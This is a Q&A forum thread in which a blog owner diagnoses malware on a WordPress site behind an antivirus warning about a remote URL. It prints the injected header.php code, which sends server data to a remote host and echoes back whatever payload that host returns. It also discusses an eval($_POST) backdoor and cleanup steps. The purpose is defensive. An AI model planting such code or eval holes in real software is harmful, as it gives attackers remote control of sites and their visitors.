Some users of one of our blogs have detected that when loading the page under Windows with antivirus such as Avast or NOD32 a message appears.

The message is something like

"The remote address has been blocked. URL: "unloadpupil.org/u4offvzxwifsh2q/" IP Address:

I've tried to find this URL or the IP on my blog's database, but no luck, there is no trace of that URL on our content, so I'm pretty upset something's really going on without us knowing.

Is there someway to find the source of the problem?

***** Update ********

The phpAV file suggested by Mangia is a possible option, but I've installed the WordPress Antivirus Plugin, and it has given me a list of possible files affected by malware. On my site's theme the header.php had at the end of it the following text:

foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u);
if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}}

That, according to a previous message on StackExchange, could be malware. I've deleted it and I'm looking for further problems.


First change all ftp passwords and do not tell anyone until you fix this. It is obvius that someone who had a password, has a virus.

Check .htaccess file (also, check the number of lines inside .htaccess). They usually add >100 blank lines inside .htaccess (so you think that file is empty) and then redirection or similar content.

Check blog template files because if you didn't find anything inside the database it is probably located inside template files (usually JavaScript code)

Also, if your ftp pass was broken, it is possible that you have something else uploaded (shell for example). To search for problematic functions inside php files, check the next script.


  • Thanks for the quick answer. The site is running under Nginx, so there's no .htaccess file. - I've checked both the database and our blog's folder to find out if there was any reference to that URL/IP. No luck. - As for the script -that's a good one- after running it there are 67 "dangeours functions" on 30 different files. I've C&P the log.txt to Pastebin, here: pastebin.com/E69BD4ig - The eval function seemed dangerous, but I've checked other blogs from us and the same function appears. Do you see something... weird? – javipas Jul 30 '11 at 23:08

Before you read this post, realize I am only going off of the pastebin I looked through. Not being able to see the whole codebase, I might be very wrong about the sanitary state of $_POST['p1']) . However, eval()'ing any variable is actually a bad practice, so even if I'm wrong, this post is still relevant.

It appears you are eval()'ing un-sanitized data in that php script. The following :


is beyond dangerous under most setups. Unless you have safe_mode turned on, this allows shell access (via injection of shell_exec()) to anyone who is able to set the p1 variable via POST, which is anyone with a web browser and an internet connection. Even if you do have safe_mode turned on, this is unsafe. PHP's safe_mode runs the input through escapeshellcmd(), which does not escape the '!' character properly, which could still be used to execute code based off of history references, which is what the '!' character represents.

Ensure that before you EVER submit a variable to eval() it is properly escaped and sanitized. In this case, something like eval(str_replace('!', '\!', escapeshellarg($_POST['p1'])); would be able to prevent a user from providing a shell command through eval. However, as the intention of the code seems to be to execute whatever is in $_POST['p1']), you may want to look at a redesign of the model. If the purpose of the codebase is to provide valid PHP code in $_POST['p1']), it will be nearly impossible to insure that the code is not malicious.

Note that if you are running on a Windows box the ! character does nothing, and is a valid shell character.

Also note that as of PHP 5.3 safe_mode is considered depreciated, meaning that relying on it is a terrible idea in the first place.

If a malicious user became aware of an eval() vulnerability they would be able to inject the malware your post initially mentioned. If my analysis is correct, and $_POST['p1'] is un-sanitized, this may indeed be the attack vector used by the malicious user.

I hope your malware problems are resolved quickly!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.